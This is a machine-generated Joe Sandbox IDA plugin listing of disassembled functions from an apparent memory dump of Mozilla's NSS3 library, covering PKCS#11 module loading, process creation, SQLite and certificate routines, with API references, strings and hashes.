Associated: 00000000.00000002.1966155152.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966746742.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: free$strlen$Value$Alloc_ModuleUtil$CriticalSectionstrncmp$CondEnterUnlockcallocmemcpy$CallDestroyErrorLockNotifyOnce$DeleteInitLoadR_smprintfWaitstrrchr
String ID: ,defaultModDB,internalKeySlot$NSS Internal Module$Spac$dbm:$dll$extern:$kbi.$name="%s" parameters="configdir='%s' certPrefix='%s' keyPrefix='%s' secmod='%s' flags=%s updatedir='%s' updateCertPrefix='%s' updateKeyPrefix='%s' updateid='%s' updateTokenDescription='%s' %s" NSS="flags=internal,moduleDB,moduleDBOnly,critical%s"$rdb:$sql:
API String ID: 3465160547-3797173233
Opcode ID: 6ddbf7018bf48e5ba8da3cddfb4cb8f9e47823850843f287dc77b35fe46a7d3e
Instruction ID: 9437833074be1fb8354cfa9aebbbafd7c770edc700742428c115147ec592c65a
Opcode Fuzzy Hash: 6ddbf7018bf48e5ba8da3cddfb4cb8f9e47823850843f287dc77b35fe46a7d3e
Instruction Fuzzy Hash: 0B5203B1E602019BEF109FA6DC457AEBBB4AF0630CF254128EC19A6F41E732D954CB91

Function 6CE8BFF0 Relevance: 75.9, APIs: 31, Strings: 12, Instructions: 624memorystringCOMMON

Download Yara Rule

APIs

PR_ExitMonitor.NSS3 ref: 6CE8C0C8

Part of subcall function 6CF19440: LeaveCriticalSection.KERNEL32 ref: 6CF195CD
Part of subcall function 6CF19440: TlsGetValue.KERNEL32 ref: 6CF19622
Part of subcall function 6CF19440: _PR_MD_NOTIFYALL_CV.NSS3 ref: 6CF1964E

PR_EnterMonitor.NSS3 ref: 6CE8C0AE

Part of subcall function 6CF19090: LeaveCriticalSection.KERNEL32 ref: 6CF191AA
Part of subcall function 6CF19090: TlsGetValue.KERNEL32 ref: 6CF19212
Part of subcall function 6CF19090: _PR_MD_WAIT_CV.NSS3 ref: 6CF1926B

Part of subcall function 6CE40600: GetLastError.KERNEL32(?,?,?,?,?,6CE405E2), ref: 6CE40642
Part of subcall function 6CE40600: TlsGetValue.KERNEL32(?,?,?,?,?,6CE405E2), ref: 6CE4065D
Part of subcall function 6CE40600: GetLastError.KERNEL32 ref: 6CE40678
Part of subcall function 6CE40600: PR_snprintf.NSS3(?,00000014,error %d,00000000), ref: 6CE4068A
Part of subcall function 6CE40600: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CE40693
Part of subcall function 6CE40600: PR_SetErrorText.NSS3(00000000,?), ref: 6CE4069D
Part of subcall function 6CE40600: strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,E0CED868,?,?,?,?,?,6CE405E2), ref: 6CE406CA
Part of subcall function 6CE40600: PR_SetError.NSS3(FFFFE8A9,00000000,?,?,?,?,?,6CE405E2), ref: 6CE406E6

PR_EnterMonitor.NSS3 ref: 6CE8C0F2
PR_ExitMonitor.NSS3 ref: 6CE8C10E
PR_ExitMonitor.NSS3 ref: 6CE8C081

Part of subcall function 6CF19440: TlsGetValue.KERNEL32 ref: 6CF1945B
Part of subcall function 6CF19440: TlsGetValue.KERNEL32 ref: 6CF19479
Part of subcall function 6CF19440: EnterCriticalSection.KERNEL32 ref: 6CF19495
Part of subcall function 6CF19440: TlsGetValue.KERNEL32 ref: 6CF194E4
Part of subcall function 6CF19440: TlsGetValue.KERNEL32 ref: 6CF19532
Part of subcall function 6CF19440: LeaveCriticalSection.KERNEL32 ref: 6CF1955D

PR_EnterMonitor.NSS3 ref: 6CE8C068

Part of subcall function 6CF19090: TlsGetValue.KERNEL32 ref: 6CF190AB
Part of subcall function 6CF19090: TlsGetValue.KERNEL32 ref: 6CF190C9
Part of subcall function 6CF19090: EnterCriticalSection.KERNEL32 ref: 6CF190E5
Part of subcall function 6CF19090: TlsGetValue.KERNEL32 ref: 6CF19116
Part of subcall function 6CF19090: LeaveCriticalSection.KERNEL32 ref: 6CF1913F

Part of subcall function 6CE40600: GetProcAddress.KERNEL32(?,?), ref: 6CE40623

_NSSUTIL_UTF8ToWide.NSS3(?), ref: 6CE8C14F
PR_LoadLibraryWithFlags.NSS3 ref: 6CE8C183
free.MOZGLUE(00000000), ref: 6CE8C18E
PR_LoadLibrary.NSS3(?), ref: 6CE8C1A3
PR_EnterMonitor.NSS3 ref: 6CE8C1D4
PR_ExitMonitor.NSS3 ref: 6CE8C1F3
PR_CallOnce.NSS3(6CFB2318,6CE8CA70), ref: 6CE8C210
PR_EnterMonitor.NSS3 ref: 6CE8C22B
PR_ExitMonitor.NSS3 ref: 6CE8C247
PR_EnterMonitor.NSS3 ref: 6CE8C26A
PR_ExitMonitor.NSS3 ref: 6CE8C287
PR_UnloadLibrary.NSS3(?), ref: 6CE8C2D0
PR_GetEnvSecure.NSS3(NSS_DEBUG_PKCS11_MODULE), ref: 6CE8C392
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,00000000), ref: 6CE8C3AB
PR_NewLogModule.NSS3(nss_mod_log), ref: 6CE8C3D1
PR_GetEnvSecure.NSS3(NSS_FORCE_TOKEN_LOCK), ref: 6CE8C782
PR_GetEnvSecure.NSS3(NSS_DISABLE_UNLOAD), ref: 6CE8C7B5
PR_UnloadLibrary.NSS3(?), ref: 6CE8C7CC
PR_SetError.NSS3(FFFFE097,00000000), ref: 6CE8C82E
PORT_ArenaAlloc_Util.NSS3(?,?), ref: 6CE8C8BF
PORT_Alloc_Util.NSS3(?), ref: 6CE8C8D5
free.MOZGLUE(00000000), ref: 6CE8C900
PORT_ArenaAlloc_Util.NSS3(?,?), ref: 6CE8C9C7
memcpy.VCRUNTIME140(00000000,?,?), ref: 6CE8C9E5
free.MOZGLUE(00000000), ref: 6CE8CA5A

Strings

NSS_FORCE_TOKEN_LOCK, xrefs: 6CE8C77D
NSC_GetInterface, xrefs: 6CE8C04F
FC_GetFunctionList, xrefs: 6CE8C098
PKCS 11, xrefs: 6CE8C2F9, 6CE8C314
NSS_ReturnModuleSpecData, xrefs: 6CE8C275
nss_mod_log, xrefs: 6CE8C3CC
NSS_DEBUG_PKCS11_MODULE, xrefs: 6CE8C38D
NSC_GetFunctionList, xrefs: 6CE8C093
FC_GetInterface, xrefs: 6CE8C054
NSC_ModuleDBFunc, xrefs: 6CE8C0FC
NSS_DISABLE_UNLOAD, xrefs: 6CE8C7B0
Vendor NSS FIPS Interface, xrefs: 6CE8C34A

Memory Dump Source

Source File: 00000000.00000002.1962012508.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1961023559.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1964343598.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965295772.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965890980.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966155152.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966746742.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: Monitor$Value$Enter$CriticalExitSection$Error$LeaveLibrary$Alloc_SecureUtilfree$ArenaLastLoadUnloadstrcmp$AddressCallFlagsModuleOnceProcR_snprintfTextWideWithmemcpystrlen
String ID: FC_GetFunctionList$FC_GetInterface$NSC_GetFunctionList$NSC_GetInterface$NSC_ModuleDBFunc$NSS_DEBUG_PKCS11_MODULE$NSS_DISABLE_UNLOAD$NSS_FORCE_TOKEN_LOCK$NSS_ReturnModuleSpecData$PKCS 11$Vendor NSS FIPS Interface$nss_mod_log
API String ID: 4243957313-3613044529
Opcode ID: 029317ded0d61fb9d86cb2f4ecba7fad473701f42fd917c94c3f2f4d87284b1a
Instruction ID: f06e84a50cc806cb795ee526faaac4cb96438d279e431396ae6170436df1e4fe
Opcode Fuzzy Hash: 029317ded0d61fb9d86cb2f4ecba7fad473701f42fd917c94c3f2f4d87284b1a
Instruction Fuzzy Hash: 91427CB1F122048FEF40DF64D88BB9A3BB1BB46308F244169D80D9BB61E736D515CB95

Function 6CF63FC0 Relevance: 70.5, APIs: 37, Strings: 3, Instructions: 485stringprocessCOMMON

Download Yara Rule

APIs

malloc.MOZGLUE(00000008), ref: 6CF63FD5
strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6CF63FFE
malloc.MOZGLUE(-00000003), ref: 6CF64016
strpbrk.API-MS-WIN-CRT-STRING-L1-1-0(?,6CF9FC62), ref: 6CF6404A
memset.VCRUNTIME140(?,0000005C,00000000), ref: 6CF6407E
memset.VCRUNTIME140(?,0000005C,00000000), ref: 6CF640A4
memset.VCRUNTIME140(?,0000005C,00000000), ref: 6CF640D7
PR_SetError.NSS3(FFFFE890,00000000), ref: 6CF64112
malloc.MOZGLUE(00000000), ref: 6CF6411E
__p__environ.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0 ref: 6CF6414D
PR_SetError.NSS3(FFFFE890,00000000), ref: 6CF64160
free.MOZGLUE(?), ref: 6CF6416C
malloc.MOZGLUE(?), ref: 6CF641AB
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,NSPR_INHERIT_FDS=,00000011), ref: 6CF641EF
qsort.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?,00000004,6CF64520), ref: 6CF64244
GetEnvironmentStrings.KERNEL32 ref: 6CF6424D
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CF64263
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CF64283
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CF642B7
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CF642E4
malloc.MOZGLUE(00000002), ref: 6CF642FA
FreeEnvironmentStringsA.KERNEL32(?), ref: 6CF64342
GetStdHandle.KERNEL32(000000F6), ref: 6CF643AB
GetStdHandle.KERNEL32(000000F5), ref: 6CF643B2
GetStdHandle.KERNEL32(000000F4), ref: 6CF643B9
FreeEnvironmentStringsA.KERNEL32(?), ref: 6CF64403
PR_SetError.NSS3(FFFFE890,00000000), ref: 6CF64410

Part of subcall function 6CEFC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CEFC2BF

CreateProcessA.KERNEL32(00000000,?,00000000,00000000,00000001,00000000,00000000,00000000,00000044,?), ref: 6CF6445E
CloseHandle.KERNEL32(?), ref: 6CF6446B
free.MOZGLUE(?), ref: 6CF64482
free.MOZGLUE(00000000), ref: 6CF64492
free.MOZGLUE(00000000), ref: 6CF644A4
GetLastError.KERNEL32 ref: 6CF644B2
PR_SetError.NSS3(FFFFE896,00000000), ref: 6CF644BE
free.MOZGLUE(?), ref: 6CF644C7
free.MOZGLUE(00000000), ref: 6CF644D5
free.MOZGLUE(00000000), ref: 6CF644EA

Strings

=, xrefs: 6CF644F8
D, xrefs: 6CF64396
NSPR_INHERIT_FDS=, xrefs: 6CF641E9

Memory Dump Source

Source File: 00000000.00000002.1962012508.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1961023559.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1964343598.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965295772.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965890980.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966155152.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966746742.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: free$Errormallocstrlen$Handle$EnvironmentStringsmemset$Free$CloseCreateLastProcessValue__p__environqsortstrncmpstrpbrk
String ID: =$D$NSPR_INHERIT_FDS=
API String ID: 3116300875-3553733109
Opcode ID: c37668ef332c5076fd6544a03ecbc1fd0f70e9671266dae13b78f75bd6aec6c5
Instruction ID: f54b92d4f95c4e44251e18774ed342803beed8c137582eab21922d11cc03120a
Opcode Fuzzy Hash: c37668ef332c5076fd6544a03ecbc1fd0f70e9671266dae13b78f75bd6aec6c5
Instruction Fuzzy Hash: 9D02F675E043519FEB11EFAAC8A17AEBFB4AF06308F244129DC65A7F41D7319805CB91

Function 6CE76D90 Relevance: 60.3, APIs: 33, Strings: 1, Instructions: 809COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,6CF7A8EC,0000006C), ref: 6CE76DC6
memcpy.VCRUNTIME140(?,6CF7A958,0000006C), ref: 6CE76DDB
memcpy.VCRUNTIME140(?,6CF7A9C4,00000078), ref: 6CE76DF1
memcpy.VCRUNTIME140(?,6CF7AA3C,0000006C), ref: 6CE76E06
memcpy.VCRUNTIME140(?,6CF7AAA8,00000060), ref: 6CE76E1C
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CE76E38

Part of subcall function 6CEFC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CEFC2BF

PK11_DoesMechanism.NSS3(?,?), ref: 6CE76E76
TlsGetValue.KERNEL32 ref: 6CE7726F
EnterCriticalSection.KERNEL32(?), ref: 6CE77283

Strings

!, xrefs: 6CE77123

Memory Dump Source

Source File: 00000000.00000002.1962012508.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1961023559.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1964343598.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965295772.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965890980.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966155152.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966746742.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: memcpy$Value$CriticalDoesEnterErrorK11_MechanismSection
String ID: !
API String ID: 3333340300-2657877971
Opcode ID: fa54b2e63f4f1993030e2f9fc787d9a49fede04db1233feab8cb981f38f3c804
Instruction ID: 5163721c518f81a4579d008db6a31951d84d1b8c4f3190f251b43d3375566ff7
Opcode Fuzzy Hash: fa54b2e63f4f1993030e2f9fc787d9a49fede04db1233feab8cb981f38f3c804
Instruction Fuzzy Hash: D9729075D052199FDF61DF28CC8879ABBB5EF49308F2041A9E80DA7701E7319A85CFA1

Function 6CDE3C40 Relevance: 41.2, APIs: 20, Strings: 3, Instructions: 932COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CDE3C66
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(000000FD,?), ref: 6CDE3D04
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CDE3EAD
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CDE3ED7
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CDE3F74
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CDE4052
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CDE406F
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(00000001), ref: 6CDE410D
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00011A47,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CDE449C

Strings

%s at line %d of [%.10s], xrefs: 6CDE4495, 6CDE44F9, 6CDE459E, 6CDE4769, 6CDE4809
database corruption, xrefs: 6CDE4490, 6CDE44F4, 6CDE4599, 6CDE4764, 6CDE4804
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CDE4452, 6CDE4486, 6CDE44EA, 6CDE4571, 6CDE4580, 6CDE458F, 6CDE475A, 6CDE47FA

Memory Dump Source

Source File: 00000000.00000002.1962012508.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1961023559.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1964343598.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965295772.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965890980.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966155152.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966746742.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: _byteswap_ulong$sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 2597148001-598938438
Opcode ID: a9e4793f7a3230503dfcf7d13797a9d9f679d5a31af731d908a32b9c1bbac368
Instruction ID: e44df5d2293b9e7b380724ab48d01d04f27c9015d669e93562b5f6185182915f
Opcode Fuzzy Hash: a9e4793f7a3230503dfcf7d13797a9d9f679d5a31af731d908a32b9c1bbac368
Instruction Fuzzy Hash: 9E827E75A00205DFCB04DFA9C480BAEB7B2BF4D318F2585A9D905ABB61D731EC42CB91

Function 6CEBAC30 Relevance: 39.5, APIs: 26, Instructions: 539memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?), ref: 6CEBACC4
PORT_ArenaAlloc_Util.NSS3(?,000040F4), ref: 6CEBACD5
memset.VCRUNTIME140(00000000,00000000,000040F4), ref: 6CEBACF3
SEC_ASN1EncodeInteger_Util.NSS3(?,00000018,00000003), ref: 6CEBAD3B
SECITEM_CopyItem_Util.NSS3(?,?,00000000), ref: 6CEBADC8
PR_SetError.NSS3(FFFFE013,00000000), ref: 6CEBADDF
PR_SetError.NSS3(FFFFE013,00000000), ref: 6CEBADF0

Part of subcall function 6CEFC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CEFC2BF

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CEBB06A
PR_SetError.NSS3(FFFFE013,00000000), ref: 6CEBB08C
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6CEBB1BA
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6CEBB27C
memset.VCRUNTIME140(?,00000000,00002010), ref: 6CEBB2CA
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CEBB3C1
PR_SetError.NSS3(FFFFE013,00000000), ref: 6CEBB40C

Memory Dump Source

Source File: 00000000.00000002.1962012508.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1961023559.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1964343598.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965295772.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965890980.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966155152.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966746742.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: Util$Error$Arena_Free$ArenaItem_memset$Alloc_CopyEncodeInteger_Mark_ValueZfree
String ID:
API String ID: 1285963562-0
Opcode ID: ed4c25a619065f7c00f7bee75e633aa4ea7e4be636d2eace729957323c37690b
Instruction ID: 032a82c42c9c079d021c0d3634304410ab3609d6c4aa2708d228dcc6c6e9ab15
Opcode Fuzzy Hash: ed4c25a619065f7c00f7bee75e633aa4ea7e4be636d2eace729957323c37690b
Instruction Fuzzy Hash: B7227C71904301AFE710CF14CD85BAA77B1AF8430CF24856CE9596F7A2E772E859CB92

Function 6CE01F90 Relevance: 35.9, APIs: 5, Strings: 18, Instructions: 1430COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6CE025F3

Strings

multiple recursive references: %s, xrefs: 6CE022E0
access to view "%s" prohibited, xrefs: 6CE02F4A
no tables specified, xrefs: 6CE026BE
table %s has %d values for %d columns, xrefs: 6CE0316C
cannot have both ON and USING clauses in the same join, xrefs: 6CE032B5
a NATURAL join may not have an ON or USING clause, xrefs: 6CE032C1
'%s' is not a function, xrefs: 6CE02FD2
no such table: %s, xrefs: 6CE026AC
%s.%s.%s, xrefs: 6CE0302D
H, xrefs: 6CE0329F
too many columns in result set, xrefs: 6CE03012
recursive reference in a subquery: %s, xrefs: 6CE022E5
unsafe use of virtual table "%s", xrefs: 6CE030D1
too many references to "%s": max 65535, xrefs: 6CE02FB6
H, xrefs: 6CE0322D
cannot join using column %s - column not present in both tables, xrefs: 6CE032AB
no such index: "%s", xrefs: 6CE0319D
%s.%s, xrefs: 6CE02D68

Memory Dump Source

Source File: 00000000.00000002.1962012508.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1961023559.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1964343598.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965295772.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965890980.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966155152.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966746742.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: memcpy
String ID: %s.%s$%s.%s.%s$'%s' is not a function$H$H$a NATURAL join may not have an ON or USING clause$access to view "%s" prohibited$cannot have both ON and USING clauses in the same join$cannot join using column %s - column not present in both tables$multiple recursive references: %s$no such index: "%s"$no such table: %s$no tables specified$recursive reference in a subquery: %s$table %s has %d values for %d columns$too many columns in result set$too many references to "%s": max 65535$unsafe use of virtual table "%s"
API String ID: 3510742995-3400015513
Opcode ID: 476804dc3dd0ea5ba804e17a0019f16d65e05dcf4d7c7f4407560f2b1fa0ccec
Instruction ID: 056cc05259f8ef1076c2fa46912f5eb54f03fc55b5c301ddd700c91eb6f753b1
Opcode Fuzzy Hash: 476804dc3dd0ea5ba804e17a0019f16d65e05dcf4d7c7f4407560f2b1fa0ccec
Instruction Fuzzy Hash: 39D27B74F042098FDB04CF99C484B9DB7F2BF59308F3881A9D855ABB51D735A866CB90

Function 6CE3ECD0 Relevance: 33.8, APIs: 7, Strings: 12, Instructions: 539COMMON

Download Yara Rule

APIs

sqlite3_initialize.NSS3 ref: 6CE3ED38

Part of subcall function 6CDD4F60: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CDD4FC4

sqlite3_mprintf.NSS3(snippet), ref: 6CE3EF3C
sqlite3_mprintf.NSS3(offsets), ref: 6CE3EFE4

Part of subcall function 6CEFDFC0: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,00000003,?,6CDD5001,?,00000003,00000000), ref: 6CEFDFD7

sqlite3_mprintf.NSS3(matchinfo), ref: 6CE3F087
sqlite3_mprintf.NSS3(matchinfo), ref: 6CE3F129
sqlite3_mprintf.NSS3(optimize), ref: 6CE3F1D1
sqlite3_free.NSS3(?), ref: 6CE3F368

Strings

fts3_tokenizer, xrefs: 6CE3EE1A, 6CE3EEA8
snippet, xrefs: 6CE3EF05, 6CE3EF37, 6CE3EF7C
matchinfo, xrefs: 6CE3F04F, 6CE3F082, 6CE3F0C2, 6CE3F0F2, 6CE3F124, 6CE3F169
optimize, xrefs: 6CE3F199, 6CE3F1CC, 6CE3F211
simple, xrefs: 6CE3ED79
fts4, xrefs: 6CE3F2AD
porter, xrefs: 6CE3ED97
offsets, xrefs: 6CE3EFAF, 6CE3EFDF, 6CE3F01F
fts3tokenize, xrefs: 6CE3F30F
unicode61, xrefs: 6CE3EDB5
fts3, xrefs: 6CE3F247
fts4aux, xrefs: 6CE3ECF9

Memory Dump Source

Source File: 00000000.00000002.1962012508.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1961023559.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1964343598.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965295772.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965890980.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966155152.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966746742.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: sqlite3_mprintf$strlen$sqlite3_freesqlite3_initialize
String ID: fts3$fts3_tokenizer$fts3tokenize$fts4$fts4aux$matchinfo$offsets$optimize$porter$simple$snippet$unicode61
API String ID: 2518200370-449611708
Opcode ID: 3366568a7f7a7a6a0b0743241239e5e35465c7bb1d9135c95f59f3b69e54de56
Instruction ID: 3466b94ee3215d05e71868928776480dd49adba32fcdcd76e5ce9b1059148709
Opcode Fuzzy Hash: 3366568a7f7a7a6a0b0743241239e5e35465c7bb1d9135c95f59f3b69e54de56
Instruction Fuzzy Hash: 4502F0B2B147109BE7049F71A88172B36B1ABC520CF24953DD85E8BB11EB79F846C792

Function 6CEB7C00 Relevance: 31.9, APIs: 21, Instructions: 421COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CEB7C33
NSS_OptionGet.NSS3(0000000C,00000000), ref: 6CEB7C66
CERT_DestroyCertificate.NSS3(00000000), ref: 6CEB7D1E

Part of subcall function 6CEB7870: SECOID_FindOID_Util.NSS3(?,?,?,6CEB91C5), ref: 6CEB788F

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CEB7D48
PR_SetError.NSS3(FFFFE067,00000000), ref: 6CEB7D71
SECKEY_DestroyPublicKey.NSS3(00000000), ref: 6CEB7DD3
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6CEB7DE1
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CEB7DF8
SECKEY_DestroyPublicKey.NSS3(?), ref: 6CEB7E1A
PR_SetError.NSS3(FFFFE067,00000000), ref: 6CEB7E58

Part of subcall function 6CEB7870: PR_SetError.NSS3(FFFFE005,00000000,?,?,6CEB91C5), ref: 6CEB78BB
Part of subcall function 6CEB7870: PORT_ZAlloc_Util.NSS3(0000000C,?,?,?,6CEB91C5), ref: 6CEB78FA
Part of subcall function 6CEB7870: strchr.VCRUNTIME140(?,0000003A,?,?,?,?,?,?,?,?,?,?,6CEB91C5), ref: 6CEB7930
Part of subcall function 6CEB7870: PORT_Alloc_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,6CEB91C5), ref: 6CEB7951
Part of subcall function 6CEB7870: memcpy.VCRUNTIME140(00000000,?,?), ref: 6CEB7964
Part of subcall function 6CEB7870: strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,00000000), ref: 6CEB797A
Part of subcall function 6CEB7870: strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000001), ref: 6CEB7988
Part of subcall function 6CEB7870: memcpy.VCRUNTIME140(?,00000001,00000001), ref: 6CEB7998
Part of subcall function 6CEB7870: free.MOZGLUE(00000000), ref: 6CEB79A7
Part of subcall function 6CEB7870: SECITEM_ZfreeItem_Util.NSS3(00000000,00000001,?,?,?,?,?,?,?,?,?,?,6CEB91C5), ref: 6CEB79BB
Part of subcall function 6CEB7870: PR_GetCurrentThread.NSS3(?,?,?,?,6CEB91C5), ref: 6CEB79CA

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CEB7E49
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6CEB7F8C
SECKEY_DestroyPublicKey.NSS3(?), ref: 6CEB7F98
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6CEB7FBF
